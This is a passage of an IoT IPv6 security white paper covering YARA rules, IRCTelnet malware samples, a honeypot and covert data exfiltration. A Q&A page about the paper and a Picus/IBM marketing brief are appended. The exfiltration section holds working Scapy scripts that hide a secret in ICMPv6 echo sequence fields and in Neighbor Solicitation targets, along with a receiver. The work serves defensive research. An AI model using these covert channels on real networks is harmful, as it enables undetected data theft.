/o.sc/n.sc /m.sc/a.sc/l.sc/w.sc/a.sc/r.sc/e.sc /u.sc/s.sc/i.sc/n.sc/g.sc /i.sc/p.sc/v.sc/six.taboldstyle One of the key aspects this research explores is the use of IPv 6by IoT malware. Our focus is twofold: first, we attempt to find malware communicating with their com- mand and control (C&C) server via IPv 6, and second, we attempt to find malware attacking and abusing IPv 6vulnerabilities in a local network. /three.taboldstyle./one.taboldstyle IoT malware C&C over IPv6 In order to hunt for malware using IPv 6we leveraged the power of Yara [ 39]. For this research we created two generic Yara rules that aimed to find any type of behavior associated with IPv 6. The first YARA rule relies on the fact that IPv 6 addresses must follow a predefined format in order to be valid. The second YARA /r.sc/e.sc/s.sc/e.sc/a.sc/r.sc/c.sc/h.sc /o.sc/n.sc /m.sc/a.sc/l.sc/w.sc/a.sc/r.sc/e.sc /u.sc/s.sc/i.sc/n.sc/g.sc /i.sc/p.sc/v.sc/six.taboldstyle 15 Table 2: Results of the DoS attacks on the laboratory devices DevicePre-Attack (avg. ms response)Attacked with denial 6Attacked with smurf 6 HikVision DS- 2CD2020 F-I 1.934148.336 10% packet loss100% packet loss Philips Hue Bridge 0.49978.941 20% packet loss100% packet loss Synology DS 115J 0.549 0 .643 0 .741 Google Nest 1.869 1 .488 5 .472 Google Chromecast 8.264 20 .013 157 .155 Amazon Echo Dot (Alexa, 2nd gen)3.822 5 .47742.091 80% packet loss rule enables the retrieval of all the binaries that could have a hard coded command and control whose address is originated from an specific country and Regional Internet Registry (RIR). These rules are available in Appendix A. These rules were run in VirusTotal’s Retro Hunt engine [ 18] multiple times with slight variations. All searches returned unsuccessful matches. /three.taboldstyle./two.taboldstyle IoT malware attacking over IPv6 The search of IoT malware attacking over IPv 6led to one malware known as Lin- ux/IRCTelnet (new Aidra) [ 40]. A YARA rule for this malware can be found in Appendix A. Linux/IRCTelnet has the capability to send crafted IPv 6packets for DDoS flood- ing, that can be spoofed with an specific IPv 6address to pretend the source address of the packets is other than the malware’s real address, thus hiding the source of the traffic. The list of samples, that vary regarding different architectures, for this malware is: SHA256 (darm) = 6c28655b6db1e7a15b1a63cbf8c5381f52c3dd21d2f0c77ed3df493c5fee9c2d SHA256 (dmpl) = c79a27d2da7fe7abdf760a99e3981a4ff08d272a8c4a8a424f50a44073c19622 SHA256 (dmps) = fe564a794e3566607383da5220cf2cd46fb2f158b94694dab480f4215983dc2f SHA256 (dppc) = e61df7abaa0cf737360ec69eea6b213ba11859122a15fa16ca6c1f763f3932f4 SHA256 (dsph) = 3260c30a0b920483fe0d3f4236cb9eb0aa5024eeda5a649816b492ac2ae0e8e1 SHA256 (dspr) = a1282c299c8d5c5dd81946af0374bd5688039f778c23052d3d5535889b312189 /three.taboldstyle./three.taboldstyle IPv6-only honeypot To discover and collect data of attacks and malware for IPv 6in the wild, we set up a Rasp- berry Pi 3as a real device honeypot with a global unicast address reachable from the Internet and the local network. The honeypot has only IPv 6enabled in the interface connected to the Internet. The device is running a docker container using Alpine Linux with ports 22/TCP , 23/TCP , 25/TCP , 443/TCP , 8080 /TCP and 445/TCP forwarded from the Internet facing in- terface on the host device. All incoming traffic is allowed, and it is captured and stored for later analysis. While is known that IPv 4honeypots receive thousands of attacks per minute, constantly, the IPv 6honeypot has not received any connection attempts as of the time of writing this report. IPv 6enabled devices are hard to find and therefore there are less connections and attacks. /d.sc/a.sc/t.sc/a.sc /e.sc/x.sc/f.sc/i.sc/l.sc/t.sc/r.sc/a.sc/t.sc/i.sc/o.sc/n.sc /v.sc/i.sc/a.sc /i.sc/p.sc/v.sc/six.taboldstyle 16 /four.taboldstyle /d.sc/a.sc/t.sc/a.sc /e.sc/x.sc/f.sc/i.sc/l.sc/t.sc/r.sc/a.sc/t.sc/i.sc/o.sc/n.sc /v.sc/i.sc/a.sc /i.sc/p.sc/v.sc/six.taboldstyle Exfiltration is the unauthorized exportation of sensitive data out of the network by connecting to an external destination and/or using covert channels. The latter is commonly used to exfiltrate information while being undetected or avoid any measure in place to stop the migration of data. There have been numerous studies on this topic [ 41] and, even to this day, data theft produced by breaches put exfiltration in the center of attention. To exfiltrate data, networking and transportation layers (Figure 14) are commonly used as are low level layers that would require deep packet inspection to find occurrences or identify that the exfiltration is happening. They also provide fields and portions of data in the packet headers that are not commonly used or zeroed out. These sections can be used to store portions of data and could be unnoticed by analyzing the packet captures. Figure 14: OSI Model and description of its layers. Layers 3and4are highlighted in light orange and yellow respectively [ 9] /four.taboldstyle./one.taboldstyle Tools of the trade Several tools exist to carry out exfiltration via IPv 6network stack and we will cover some of them in this section. In this section we will describe IPv 6teal [42] and IPv 6DNSExfil [ 43], and how these tools are used to exfiltrate data via IPv 6. /four.taboldstyle./one.taboldstyle./one.taboldstyle IPv6teal The first one is IPv 6teal [42] and consists of a receiver and sender (exfiltrate) script. This tool makes use of the Flow Label field [ 44] which is used to label sequences of packets and it has a fixed size of 20bits as detailed in Figure 15. It makes use of this specific field because it could be variable and contains custom bits without impact on the packet reaching its destination. This detail makes a good candidate for storing data that could reach an endpoint safely while being hidden in normal traffic. Figure 15: IPv6packet header structure with Flow Label field (marked red) [ 10] To be able to fit more data in fewer packets the author decided to use GZIP compression to accomplish this. In our tests, it took approximately 2seconds and 15packets to send a plain-text file containing the string THISISASECRET across the Internet. The information is transmitted with a magic value that marks the start and end of the flow of data. These magic /d.sc/a.sc/t.sc/a.sc /e.sc/x.sc/f.sc/i.sc/l.sc/t.sc/r.sc/a.sc/t.sc/i.sc/o.sc/n.sc /v.sc/i.sc/a.sc /i.sc/p.sc/v.sc/six.taboldstyle 17 values also add more information about the data being transmitted. The flow of packets for our test end up being built as shown in Figure 16. Figure 16: Flow of packets in data exfiltration experiments The packets are built over two upper layers: the IPv 6layer and a “Raw” layer, which is only data appended to the last layer. The raw layer holds the magic values, discussed earlier, and tells the receiver when a transmission starts, how many bits are going to be transmitted and how many packets will be transmitted, not counting the packet ending the transmission. Another exfiltration technique, on a higher level of the OSI Model, is done via DNS AAAA records [ 45]. The AAAA records were designed to be used with IPv 6addresses. When a client requests the IPv 6address of a domain it will utilize this record in order to get it from a DNS server. Although TXT records were commonly used for this as they can hold human- readable data, as well as machine-readable, queries to TXT records are less common and could be caught quickly during an study of the network flow. /four.taboldstyle./one.taboldstyle./two.taboldstyle IPv6DNSExfil Tools like IPv 6DNSExfil [ 43] make use of this technique in order to store a secret, in a pseudo- IPv6address format, for a short period of time on AAAA records. It will make use of the nsupdate [46] tool to dynamically create said AAAA records and push them to an upstream DNS server thus exfiltrating the information. Figure 17shows how a record is created, using the same secret that we utilized previously. Figure 17: Packet creation example using DNS for data exfiltration Once the record is put in place the attackers can utilize this data as they please, either by using it as a C&C (as suggested by the author [ 47]) or to just transfer the information from one endpoint to another with DNS queries to that specific server. /four.taboldstyle./two.taboldstyle Custom exfiltration methods Libraries like Scapy [ 48], for Python, make it easier for developers to interact with networking abstractions at a higher level. For example, with only two lines of code we are able to send a crafted packet to an IPv 6endpoint: /d.sc/a.sc/t.sc/a.sc /e.sc/x.sc/f.sc/i.sc/l.sc/t.sc/r.sc/a.sc/t.sc/i.sc/o.sc/n.sc /v.sc/i.sc/a.sc /i.sc/p.sc/v.sc/six.taboldstyle 18 % sudo python3 Python 3.5.2 (default, Jul 10 2019, 11:58:48) [GCC 5.4.0 20160609] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from scapy.all import IPv6,Raw,send >>> send(IPv6(dst="XXXX:XXX:X:1662:7a8a:20ff:fe43:93d4")/Raw(load="test")) . Sent 1 packets. And sniffing on the other endpoint we can see the packet reaching its destination with the extra raw layer that where we included the “test” string: # tcpdump -s0 -l -X -i eth0 ’ip6 and not icmp6’ tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 23:47:15.996483 IP6 XXXX:XXX:X:1663::1ce > XXXX:XXX:X:1662:7a8a:20ff:fe43:93d4: no next header 0x0000: 6000 0000 0004 3b3e XXXX XXXX XXXX 1663 ‘.....;>.......c 0x0010: 0000 0000 0000 01ce XXXX XXXX XXXX 1662 ...............b 0x0020: 7a8a 20ff fe43 93d4 7465 7374 0000 z....C..test.. Using this same approach we can start generating traffic dynamically using Scapy instead of just sending packets without an upper transportation layer. One case would be making use of ICMPv 6protocol [ 49], which is an improved version of its IPv 4relative. A “classic” exfiltration method using this protocol is using the echo and reply messages (commonly used by ping 6networking tool) to send data outside the network without establishing a connection like TCP . This way we can send specific chunks of data over IPv 6via ICMPv 6echo requests to a remote host sniffing the network. Take a look at this code, for example: from scapy.all import IPv6,ICMPv6EchoRequest,send import sys secret = "THISISASECRET" # hidden info stored in the packet endpoint = sys.argv[1] # addr where are we sending the data # taken from a random ping6 packet # 0x0030: 1e38 2c5f 0000 0000 4434 0100 0000 0000 .8, _....D4...... # 0x0040: 1011 1213 1415 1617 1819 1a1b 1c1d 1e1f ................ # 0x0050: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f .!"#$%&’() *+,-./ # 0x0060: 3031 3233 3435 3637 01234567 data = "\x1e\x38\x2c\x5f\x00\x00\x00\x00\x44\x34\x01\x00\x00\x00\x00\x00" \ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \ "\x30\x31\x32\x33\x34\x35\x36\x37" def sendpkt(d): if len(d) == 2: seq = (ord(d[0])<<8) + ord(d[1]) else: seq = ord(d) send(IPv6(dst=endpoint)/ICMPv6EchoRequest(id=0x1337,seq=seq, data=data)) # encrypt data with key 0x17 xor = lambda x: ’’.join([ chr(ord(c)^0x17) for c in x]) i=0 for b in range(0, len(secret), 2): sendpkt(xor(secret[b:b+2])) This script will make use of the secret string we have been sending previously, encrypt it using the XOR cipher, and send each two bytes of that secret encrypted string via an ICMPv 6 echo request with an specific ID. Those two bytes are hidden in the sequence field, which is a short integer field, and can be decrypted on destination by a receiver. Also, we are setting up the packet with an specific ID (in this case 0x1337 ) because we want to easily recognize the packet as one of ours among the flow of networking traffic. So, let’s send a secret! % sudo python3 ipv6 _icmp6 _exfil.py XXXX:XXX:X:1663::1ce . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. /c.sc/o.sc/n.sc/c.sc/l.sc/u.sc/s.sc/i.sc/o.sc/n.sc/s.sc 19 From the other side of the line there’s going to be a receiver. The receiver will check the ID of the ICMPv 6echo request and, if it matches, it will decode the data being sent over the sequence field. The code looks like this: from scapy.all import sniff,IPv6,ICMPv6EchoRequest import sys xor = lambda x: chr(x ^ 0x17) def pkt(p): if ’ICMPv6EchoRequest’ in p and p[’ICMPv6EchoRequest’].id == 0x1337: s = p[’ICMPv6EchoRequest’].seq print(xor((s & 0xff00)>>8) + xor(s & 0xff), end=’’) sys.stdout.flush() sniff(filter="ip6 and icmp6", prn=pkt) After running it, the script will sniff the network for IPv 6and ICMPv 6packets, specifically. This network sniffing is powered by tcpdump filters which will process packets that could be of our interests. Once the packet is captured is processed by the pkt() function which will check the ICMPv 6ID and if it matches to the ID we are looking for it will decrypt the information and print it to the screen: % sudo python3 ipv6 _icmp6 _recv.py THISISASECRET The process can be explained in a simpler way via flow graph in Figure 18. Figure 18: Packets with encrypted data in the sequence field are received and decrypted The proof-of-concept highlighted here took the same time as, for example, IPv 6teal with 2seconds to transmit the secret string and mimics (almost) normal ICMPv 6that ping 6pro- duces. We did a test with 1kilobyte of data to be transmitted using this technique across the Internet and it took 8minutes and 42seconds to complete the task. /five.taboldstyle /c.sc/o.sc/n.sc/c.sc/l.sc/u.sc/s.sc/i.sc/o.sc/n.sc/s.sc In this research, we explored the IPv 6ecosystem for IoT devices. IPv 6global adoption is growing slowly, however the usage of IPv 6in local networks is growing faster. The global adoption is largely influenced by router manufacturers. While most of the new IoT devices /c.sc/o.sc/n.sc/c.sc/l.sc/u.sc/s.sc/i.sc/o.sc/n.sc/s.sc 20 have link-local IPv 6implemented by default now, many routers still do not have it enabled. The implementation of 5G may produce a significant increase in IPv 6adoption along with the fact that the amount of devices connected to the Internet is significantly growing. For that reason, attacks for IPv 6may arise in the long term and security measures should be taken into consideration at the network level. The use of IPv 6by attackers is a topic that has been analysed in the past, but from our research we found that malware on IoT is not yet exploiting vulnerabilities on IPv 6. One of the main questions that remain to be answered is what can be expected when the IPv6adoption is completed. We summarize next the main aspects to consider when this happens: IPv4will still be supported and available for backwards compatibility for a long time. In the internal network IPv 4will still be important for the NAT mechanism. This will make the network as insecure as the weakest protocol. IoT devices with IPv 6may be directly connected to the Internet making them more susceptible to attacks. Exposed devices may jeopardize home network security. Device discovery will be a significant challenge. In local networks, devices will rely increasingly on neighbour discovery and not scanning techniques to discover neigh- boring devices. Defenses that rely on application level data, such as URLs, domains, etc, will still be useful in IPv 6. Defenses that rely on data from lower layers (not application layer) will have to adapt, requiring more research to study and understand the differences of IPv 6and IPv 4 attacks. Malware authors rely on application layer protocols for their C&C, whether via IPv 6 or IPv 4. The behavior of the communication can be still studied by analysing upper level layers behavior or the flows (duration, packet size, etc). All the IoC and blacklists based on IPv 4addresses will not be useful anymore. IoCs and blacklist for IPv 6should be considered or other solutions implemented. Security software will have to adapt and expand its protection measures to both IPv 6 and IPv 4stacks in order to cover the full spectrum of the current internet connectivity. A particular problem is the fact that in IPv 6addresses can have multiple string repre- sentations. For example the address fe80::1 is the same device as fe80:0000::1 and many others. /r.sc/e.sc/f.sc/e.sc/r.sc/e.sc/n.sc/c.sc/e.sc/s.sc 21 /r.sc/e.sc/f.sc/e.sc/r.sc/e.sc/n.sc/c.sc/e.sc/s.sc [1] Ipv 6capability metrics. https://stats.labs.apnic.net/ipv6/XA . (Accessed on 10/05/2020 ). [2] Ipv 6– google. https://www.google.com/intl/en/ipv6/statistics.html#tab=per-c ountry-ipv6-adoption . (Accessed on 07/27/2020 ). [3] As transit for ipv 4and ipv 6.https://6lab.cisco.com/stats/cible.php ?country=wor ld&option=prefixes . (Accessed on 07/27/2020 ). [4] Ipv 6– google. https://www.google.com/intl/en/ipv6/statistics.html#tab=ipv6- adoption . (Accessed on 07/27/2020 ). [5] Cisco use of web ipv 6statistics. https://6lab.cisco.com/stats/cible.php ?country=w orld&option=content . (Accessed on 07/27/2020 ). [6] Shodan beta: Search ipv 6and filtered by country. https://beta.shodan.io/search/fa cet?query=ipv6&facet=country . (Accessed on 07/27/2020 ). [7] Projection of ipv 6metrics. https://www.vyncke.org/ipv6status/project.php . (Ac- cessed on 07/23/2020 ). [8] Nvd - search and statistics. https://nvd.nist.gov/vuln/search . (Accessed on 07/27/2020 ). [9] Osi model - wikipedia. https://en.wikipedia.org/wiki/OSI _model . (Accessed on 10/05/2020 ). [10] Ipv 6packet - wikipedia. https://en.wikipedia.org/wiki/IPv6 _packet . (Accessed on 10/05/2020 ). [11] Ipv 6measurement maps. https://stats.labs.apnic.net/ipv6/ . (Accessed on 07/27/2020 ). [12] State of the internet ipv 6adoption visualization | akamai. https://www.akamai.com/u s/en/resources/our-thinking/state-of-the-internet-report/state-of-the-inte rnet-ipv6-adoption-visualization.jsp . (Accessed on 07/27/2020 ). [13] Usage statistics of ipv 6for websites, october 2020 .https://w3techs.com/technologies /details/ce-ipv6 . (Accessed on 07/27/2020 ). [14] Measurements | world ipv 6launch. https://www.worldipv6launch.org/measuremen ts/. (Accessed on 07/27/2020 ). [15] Alexa - top sites. https://www.alexa.com/topsites . (Accessed on 09/30/2020 ). [16]6lab ipv 6website. https://6lab.cisco.com/stats/information.php#content . (Ac- cessed on 07/27/2020 ). [17] Shodan: Search engine for internet of things. https://www.shodan.io/ . (Accessed on 07/27/2020 ). [18] Virustotal. https://www.virustotal.com/gui/home/upload . (Accessed on 07/27/2020 ). [19] Url and website scanner - urlscan.io. https://urlscan.io/ . (Accessed on 07/27/2020 ). [20] Urlhaus | malware url exchange. https://urlhaus.abuse.ch/ . (Accessed on 07/27/2020 ). [21] Any.run - interactive online malware sandbox. https://any.run/ . (Accessed on 07/27/2020 ). [22] Greynoise intelligence. https://greynoise.io/ . (Accessed on 07/27/2020 ). [23] Ipv 6is accelerating as ipv 4is nearing its peak. https://blogs.infoblox.com/ipv6- coe/ipv6-is-accelerating-as-ipv4-is-nearing-its-peak/ ,2016 . (Accessed on 07/27/2020 ). [24] John Pickard, Mark Angolia, and Dale Drummond. Ipv 6diffusion milestones: Assessing the quantity and quality of adoption. Journal of International Technology and Information Management ,28(1):2–28,2019 . [25] If the implementation of ipv 6was mandated for tomorrow, who is ready? https: //www.cbronline.com/opinion/implementation-of-ipv6 . (Accessed on 07/27/2020 ). [26] Common vulnerabilities and exposures for ipv 6.https://cve.mitre.org/cgi-bin/cv ekey.cgi ?keyword=IPv6 . (Accessed on 07/27/2020 ). /r.sc/e.sc/f.sc/e.sc/r.sc/e.sc/n.sc/c.sc/e.sc/s.sc 22 [27] Common vulnerabilities and exposures (cve®). https://cve.mitre.org/cve/ . (Ac- cessed on 07/27/2020 ). [28] Cisco nexus 9000 series fabric switches application centric infrastructure mode default ssh key vulnerability. https://attackerkb.com/topics/KmiVPM0LeJ/cisco-nexus-900 0-series-fabric-switches-application-centric-infrastructure-mode-default-s sh-key-vulnerability . (Accessed on 10/05/2020 ). [29] Cve- 2020 -8138 . ssrf protection bypass in calendar subscriptions (nc-sa- 2020 -014).http s://cve.mitre.org/cgi-bin/cvename.cgi ?name=CVE-2020-8138 . (Accessed on 07/27/2020 ). [30] Cve - cve- 2020 -7457 .https://cve.mitre.org/cgi-bin/cvename.cgi ?name=CVE-2020-7 457. (Accessed on 07/27/2020 ). [31] Cve - cve- 2020 -7457 .https://cve.mitre.org/cgi-bin/cvename.cgi ?name=CVE-2020-7 457. (Accessed on 07/27/2020 ). [32] Cve - cve- 2020 -1613 .https://cve.mitre.org/cgi-bin/cvename.cgi ?name=CVE-2020-1 613. (Accessed on 07/27/2020 ). [33] The common vulnerability scoring system (cvss) and its applicability to federal agency systems. https://www.govinfo.gov/content/pkg/GOVPUB-C13-19c8184048f01301641 2405161920394/pdf/GOVPUB-C13-19c8184048f013016412405161920394.pdf . (Accessed on10/23/2020 ). [34] Rfc 5157 - ipv6implications for network scanning. https://tools.ietf.org/html/rf c5157#ref-1 ,2008 . (Accessed on 06/17/2020 ). [35] Thc-ipv 6-attack-toolkit/alive 6- aldeid. https://www.aldeid.com/wiki/THC-IPv6-Att ack-Toolkit/alive6 . (Accessed on 10/05/2020 ). [36] ping 6(8) - linux man page. https://linux.die.net/man/8/ping6 . (Accessed on 10/05/2020 ). [37] pkg-thc-ipv 6/passive_discovery 6.c at master · mmoya/pkg-thc-ipv 6.https://github .com/mmoya/pkg-thc-ipv6/blob/master/passive _discovery6.c . (Accessed on 10/05/2020 ). [38] vanhauser-thc/thc-ipv 6: Ipv6attack toolkit. https://github.com/vanhauser-thc/thc -ipv6 . (Accessed on 10/05/2020 ). [39] Yara - the pattern matching swiss knife for malware researchers. https://virustotal .github.io/yara/ . (Accessed on 10/23/2020 ). [40] Malware must die!: Mmd- 0059 -2016 - linux/irctelnet (new aidra) - a ddos botnet aims iot w/ ipv 6ready. https://blog.malwaremustdie.org/2016/10/mmd-0059-2016-linu xirctelnet-new-ddos.html ,2016 . (Accessed on 07/27/2020 ). [41] Researchers devise "perfect" data exfiltration technique | securityweek.com. https:// www.securityweek.com/researchers-devise-perfect-data-exfiltration-technique . (Accessed on 10/05/2020 ). [42] christophetd/ipv 6teal: Stealthy data exfiltration via ipv 6covert channel. https://gith ub.com/christophetd/IPv6teal . (Accessed on 10/05/2020 ). [43] Dshield-isc/ipv 6dnsexfil: Data exfiltration and command execution via aaaa records. https://github.com/DShield-ISC/IPv6DNSExfil . (Accessed on 10/05/2020 ). [44] Rfc 8200 - internet protocol, version 6(ipv6) specification. https://tools.ietf.org/h tml/rfc8200#section-6 . (Accessed on 10/05/2020 ). [45] Rfc 3596 - dns extensions to support ip version 6.https://tools.ietf.org/html/rfc3 596#page-3 . (Accessed on 10/05/2020 ). [46] nsupdate( 8): Dynamic dns update utility - linux man page. https://linux.die.net/ma n/8/nsupdate . (Accessed on 10/05/2020 ). [47] Command and control channels using "aaaa" dns records. https://isc.sans.edu/f orums/diary/Command +and+Control +Channels +Using+AAAA+DNS+Records/21301/ . (Accessed on 10/05/2020 ). [48] Scapy. https://scapy.net/ . (Accessed on 10/05/2020 ). [49] Rfc 4443 - internet control message protocol (icmpv 6) for the internet protocol ver- sion 6(ipv6) specification. https://tools.ietf.org/html/rfc4443 . (Accessed on 10/05/2020 ). /a.sc/p.sc/p.sc/e.sc/n.sc/d.sc/i.sc/x.sc /a.sc: /y.sc/a.sc/r.sc/a.sc /r.sc/u.sc/l.sc/e.sc/s.sc 23 /a.sc /a.sc/p.sc/p.sc/e.sc/n.sc/d.sc/i.sc/x.sc /a.sc: /y.sc/a.sc/r.sc/a.sc /r.sc/u.sc/l.sc/e.sc/s.sc /a.sc./one.taboldstyleRule 1: ELF files using IPv6 import "elf" rule linux _ipv6 _catcher { meta: autor= "@ _lubiedo" strings: // try to get any IPv6 address $ipv6 = /([a-f0-9:]+:+)+[a-f0-9]+/ fullword ascii nocase condition: ( elf.type == elf.ET _EXEC and filesize < 1MB ) and $ipv6 } /a.sc./two.taboldstyleRule 2: Automatic Generation of YARA Rules /a.sc./two.taboldstyle./one.taboldstyle File: get.sh - Gets countries IPv6 ranges #!/bin/bash URL=’http://ipverse.net/ipblocks/data/countries/{country}-ipv6.zone’ OUT="countries" [ ! -d "${OUT}" ] && mkdir $OUT for l1 in {a..z};do for l2 in {a..z};do URLCR=${URL/\{country\}/${l1}${l2}} NAME=$( sed -E ’s/^.+\/(.+)$/\1/’<<<$URLCR ) curl -fsS -o ${OUT}/${NAME} ${URLCR} && \ echo "[+] IPv6 range for country ${l1}${l2}" done done /a.sc./two.taboldstyle./two.taboldstyle File: ipv6range2yara.py - Transforms IPv6 ranges into yara rules #!/usr/bin/env python3 import sys,os import tenjin from tenjin.helpers import * eng = tenjin.Engine(postfix=’.pyyar’, cache=tenjin.MemoryCacheStorage()) def die(s): sys.stderr.write(s) quit(1) def main(cr): global eng path = ’countries/{}-ipv6.zone’.format(cr) if not os.path.exists(path): die(’Error: {} doesn\’t exists\n’.format(path)) addrs = [] with open(path, ’r’) as fd: lines = fd.readlines() for line in lines: if line[0] == ’#’ or len(line) == 0: continue /a.sc/p.sc/p.sc/e.sc/n.sc/d.sc/i.sc/x.sc /a.sc: /y.sc/a.sc/r.sc/a.sc /r.sc/u.sc/l.sc/e.sc/s.sc 24 addrs.append(line[0:line.find(’::’)] + ’:’) output = eng.render(’:rule’, context={ ’cr’:cr, ’addrs’: addrs }) print(output) if__name __== ’ __main __’: if len(sys.argv) != 2 or len(sys.argv[1]) != 2: die(’{} \n’.format(sys.argv[0])) main(sys.argv[1]) /a.sc./two.taboldstyle./three.taboldstyle File: rule.pyyar - Yara rule template // automatically generated rule import "elf" rule ipv6 _${cr} _range { strings: $addr${i} = "${a}" ascii condition: // uint32(0) == 0x7F454C46 elf.type == elf.ET _EXEC and any of ($addr *) } /a.sc./two.taboldstyle./four.taboldstyle File: linux_ddos_irctelnet.yar rule linux _ddos _irctelnet { meta: author = "@ _lubiedo" date = "2020-08-25" description = "IRCTelnet/New Aidra DDoS botnet" strings: // special strings $str0 = "%x:%x:%x:%x:%x:%x:%x:%x" $str1 = "/etc/firewall _stop" $str2 = "%d.%d.0.0" $str3 = "rm -f %s/ *" $str4 = "USER %s . . : ." $attack0 = "fin.ack.psh" $attack1 = "ack.psh.rst" $attack2 = "ack.psh.urg" $attack3 = "fin.psh" $attack4 = "fin.ack" $attack5 = "syn.ack" $attack6 = "ack.psh" $attack7 = "ack.rst" condition: ( uint32(0) == 0x464c457f and filesize < 1MB ) and 3 of ($str *) and any of ($attack *) } /a.sc/p.sc/p.sc/e.sc/n.sc/d.sc/i.sc/x.sc /b.sc: /i.sc/p.sc/v.sc/six.taboldstyle /i.sc/c.sc/m.sc/p.sc/v.sc/six.taboldstyle /n.sc/e.sc/i.sc/g.sc/h.sc/b.sc/o.sc/r.sc /s.sc/o.sc/l.sc/i.sc/c.sc/i.sc/t.sc/a.sc/t.sc/i.sc/o.sc/n.sc /e.sc/x.sc/f.sc/i.sc/l.sc/t.sc/r.sc/a.sc/t.sc/i.sc/o.sc/n.sc 25 /b.sc /a.sc/p.sc/p.sc/e.sc/n.sc/d.sc/i.sc/x.sc /b.sc: /i.sc/p.sc/v.sc/six.taboldstyle /i.sc/c.sc/m.sc/p.sc/v.sc/six.taboldstyle /n.sc/e.sc/i.sc/g.sc/h.sc/b.sc/o.sc/r.sc /s.sc/o.sc/l.sc/i.sc/c.sc/i.sc/t.sc/a.sc/t.sc/i.sc/o.sc/n.sc /e.sc/x.sc/f.sc/i.sc/l.sc/t.sc/r.sc/a.sc/t.sc/i.sc/o.sc/n.sc /b.sc./zero.taboldstyle./one.taboldstyle File: ipv6_icmp6_exfil.py from scapy.all import IPv6,ICMPv6ND _NS,send data = "THISISASECRET" # hidden info stored in the target field of the ND pkt endpoint = "fe80::7a8a:20ff:fe43:93d5" # addr where are we sending the data def sendpkt(target): send(IPv6(dst=endpoint)/ICMPv6ND _NS(tgt=target)) i=0 while True: dst_prefix = "fe80::" dst_addr = list() for j in range(8): if i > len(data): dst_addr.append(0) else: dst_addr.append(ord(data[i-1])) i+=1 sendpkt(’%s%02x%02x:%02x%02x:%02x%02x:%02x%02x’ % ( \ dst_prefix,dst _addr[0],dst _addr[1], \ dst_addr[2],dst _addr[3],dst _addr[4], \ dst_addr[5],dst _addr[6],dst _addr[7])) if i >= len(data): break --- ## Source: https://montance.com/questions.php?id=9 [![pdf](content/images/icons/pdf.svg) White Paper Current State of IPv6 Security in IoT.pdf](https://drive.google.com/file/d/12D6b1C_rLJZO_lrc17L_xB8kfaOVBOLT/view?usp=sharing) White Paper Current State Of IPv6 Security In IoT Research on IPv6 adoption in IoT devices and associated security risks. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the global IPv6 adoption rate mentioned? A: 35%. * Q: What country has 60% IPv6 adoption? A: India. * Q: What is 'SLAAC'? A: Stateless Address Auto-Configuration, a mechanism for IPv6 hosts to configure themselves. * Q: What new challenge does IPv6 bring for attackers? A: The vastly larger address space makes traditional IP scanning/device discovery much harder. * Q: What is 'Neighbor Discovery Protocol' (NDP)? A: The IPv6 protocol that replaces ARP for discovering other nodes on the link. * Q: What malware is mentioned as leveraging IPv6? A: IRCTelnet and New Aidra DDoS botnets. * Q: What is 'Shadow IoT'? A: Unmanaged IoT devices connected to the network without IT knowledge. * Q: What is the funding organization for this research? A: Avast Software. * Q: What is the 'Stratosphere Research Laboratory'? A: The organization at Czech Technical University in Prague that conducted the research. * Q: What tools need to be adapted for IPv6? A: Defensive tools, monitoring technology, and penetration testing tools. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/12o5LSeQzEsEKMif8LLAkngpkJUUBWBFj/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/12o5LSeQzEsEKMif8LLAkngpkJUUBWBFj/view?usp=sharing]** PICUS SECURITY AND IBM SECURITY  SOLUTION BRIEF The Picus Platform challenges the entire security control estate in customer networks continually or on-demand by executing thousands of real adversarial scenarios. The results of these controlled tests are stored in the Picus Manager. Picus Detection Analytics is an automated module that queries security events collected in SIEM platforms to analyze the detection and prevention actions taken across the security control estate and compare the findings with the emulation results stored in Picus Manager. Picus Detection Analytics module minimizes false positives in both detecting logs and when creating alerts by running an internal validation process based on the Picus Dictionary. The Picus Dictionary is a proprietary content of compromise indicators that the Picus Labs teams continually update and maintain. Advanced capabilities of the Detection Analytics module help identify: -log generation and collection problems, -undetected threats by the security controls, -identify areas for tuning SIEM analytics Security OperationCenters (SOC) are at the epicenter of cyber- defense operations, and so are Security Information and Event Management (SIEM) platforms. Fully utilizing state of the art SIEM technologies is key to achieving operational efficiency and lowering the time to detect and respond to intrusions. One of the key challenges cybersecurity teams face is inconsistent log delivery by the security estate and lack of context over the detection capabilities related to the changing adversarial techniques and tactics.   Working as part of the Picus Breach and Attack Simulation platform, Picus Detection Analytics Module eliminates foundational log collection and visibility challenges. It provides predictive insight by revealing true negatives in the detection capabilities, and give the SOC teams ready to apply, vendor-specific correlation rules to help eliminate the alerting gaps with minimal effort. Picus Detection Analytics Solution Overview IntroductionAchieving Proactive Security Operation Centers Products IBM® QRadar® Security Information and Event Management (SIEM) Picus Security Detection Analytics & Mitigation The technology alliance between Picus Security & IBM allows customers to seamlessly integrate Picus Detection Analytics with QRadar for enriching the detection and prevention context for proactive tackling of developing threats. The integration also provides access to QRadar specific alert rules the Picus Labs team develops so that the identified alerting gaps are addressed instantaneously. Validating cyber defense capabilities is primarily driven by adopting offensive security practices such as Red Teaming or penetration testing. These practices come with their limitations concerning adversarial scope, repeatability, budget consumption, and use of time due to manual work they involve. At the same time, SOC teams need to have sustained visibility on logging and alerting capabilities about the adversarial context. Integration with Picus embeds an automated red team machine into QRadar®. Picus Detection Analytics has a 24x7 modus operandi. It utilizes the most extensive adversarial context, covering more than 90% of the MITRE ATT&CK techniques and the largest number of malware, vulnerability exploits, and web application attack samples, thanks to Picus Threat Library. Security Analysts can easily act upon the pre-emptive threat-readiness insight and eliminate a large number of possible future attacks by turning detection findings into prevention. Security Analysts can access additional rules for QRadar, developed and validated by Picus Labs. MITRE ATT&CK can be mapped to detection analytics in QRadar 